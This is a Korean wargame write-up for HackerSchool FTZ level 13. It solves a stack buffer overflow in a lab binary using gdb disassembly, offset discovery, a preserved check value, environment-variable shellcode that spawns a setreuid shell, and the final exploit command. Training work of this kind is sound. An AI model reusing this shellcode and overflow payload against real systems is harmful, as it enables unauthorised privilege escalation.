-
lvl 13Wargame/HackerSchool FTZ 2019. 1. 17. 19:22
→ 힌트 정보 열람.
→ BOF 문제로 추측된다. 아래에 위치하는 분기문에서 해당 문제의 의도를 알 수 있다.
if(i!=0x1234567)
→ 즉, i = 1234567을 유지한채로 버퍼오버플로우 페이로드를 구성해야 한다. 이를 위해선, 변수 i의 위치를 정확히 파악해야 한다. 먼저 gdb로 디버깅한다.
[level13@ftz tmp]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483c8 <main+0>: push ebp
0x080483c9 <main+1>: mov ebp,esp
0x080483cb <main+3>: sub esp,0x418
0x080483d1 <main+9>: and esp,0xfffffff0
0x080483d4 <main+12>: mov eax,0x0
0x080483d9 <main+17>: sub esp,eax
0x080483db <main+19>: mov DWORD PTR [ebp-12],0x1234567
0x080483e2 <main+26>: sub esp,0x8
0x080483e5 <main+29>: push 0xc16
0x080483ea <main+34>: push 0xc16
0x080483ef <main+39>: call 0x80482e8 <setreuid>
0x080483f4 <main+44>: add esp,0x10
0x080483f7 <main+47>: cmp DWORD PTR [ebp+8],0x1
0x080483fb <main+51>: jle 0x8048417 <main+79>
0x080483fd <main+53>: sub esp,0x8
0x08048400 <main+56>: mov eax,DWORD PTR [ebp+12]
0x08048403 <main+59>: add eax,0x4
0x08048406 <main+62>: push DWORD PTR [eax]
0x08048408 <main+64>: lea eax,[ebp-1048]
0x0804840e <main+70>: push eax
0x0804840f <main+71>: call 0x8048308 <strcpy>
0x08048414 <main+76>: add esp,0x10
0x08048417 <main+79>: cmp DWORD PTR [ebp-12],0x1234567
0x0804841e <main+86>: je 0x804843f <main+119>
0x08048420 <main+88>: sub esp,0xc
0x08048423 <main+91>: push 0x8048520
0x08048428 <main+96>: call 0x80482d8 <printf>
0x0804842d <main+101>: add esp,0x10
0x08048430 <main+104>: sub esp,0x8
0x08048433 <main+107>: push 0xb
0x08048435 <main+109>: push 0x0
0x08048437 <main+111>: call 0x80482f8 <kill>
0x0804843c <main+116>: add esp,0x10
0x0804843f <main+119>: leave
0x08048440 <main+120>: ret
0x08048441 <main+121>: nop
0x08048442 <main+122>: nop
---Type <return> to continue, or q <return> to quit---
0x08048443 <main+123>: nop
End of assembler dump.
→ 0x418만큼 범위를 할당하는데, 이는 10진수로 1048 만큼의 크기이다. 메모리 구조는 아래와 같이 추측한다.
→ 사실 더미구조가 일정하게 발생한다면, 위와 같이 바로 메모리맵을 그릴 수 있지만, gcc 상위버전부터는 더미 값 생성이 불규칙적이므로 실제 데이터를 하나하나 넣어보면서 테스트한다.
→ 먼저, buf와 long i 변수 사이의 거리를 구해야 한다. 해당 변수의 거리를 구하기 위해서 데이터를 삽입한다.
→ 그 결과, A가 1035개 일경우 에러가 나지 않았고, A가 1036개일 때, 에러가 발생한다.
→ 따라서, 거리가 1036바이트 임을 알 수 있다. 왜냐하면, A가 1036개 일 경우 실제 문자열은 A*1036와 함께 문자열의 끝을 알리는 널문자가 같이 넘어가서 실제론 1037 바이트가 전달된다. 그리고, 1037바이트에서 널문자에 의해, if(i!=0x1234567) 분기문에서 에러가 발생하므로 실제 거리가 1036임을 알 수 있다.
→ 정확한 거리를 구했으므로, i 변수에 0x1234567을 덮을 수 있으며, 에그 쉘 사용을 위해 환경 변수에 쉘코드 등록 및 주소 값을 구한다.
export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
#include <stdio.h>
int main()
{
printf("addr: %p\n", getenv("SHELLCODE"));
return 0;
}
[level13@ftz tmp]$ ./test
addr:0xbffffc1d
→ 환경변수 SHELLCODE의 주소는 0xbffffc1d 임을 알 수 있다. 따라서 아래와 같이 페이로드를 구성한다.
NOP*1036+0x01234567+NOP*12+0xbffffc1d
→ 실제 공격은 아래와 같이 수행한다.
./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x1d\xfc\xff\xbf"'`
댓글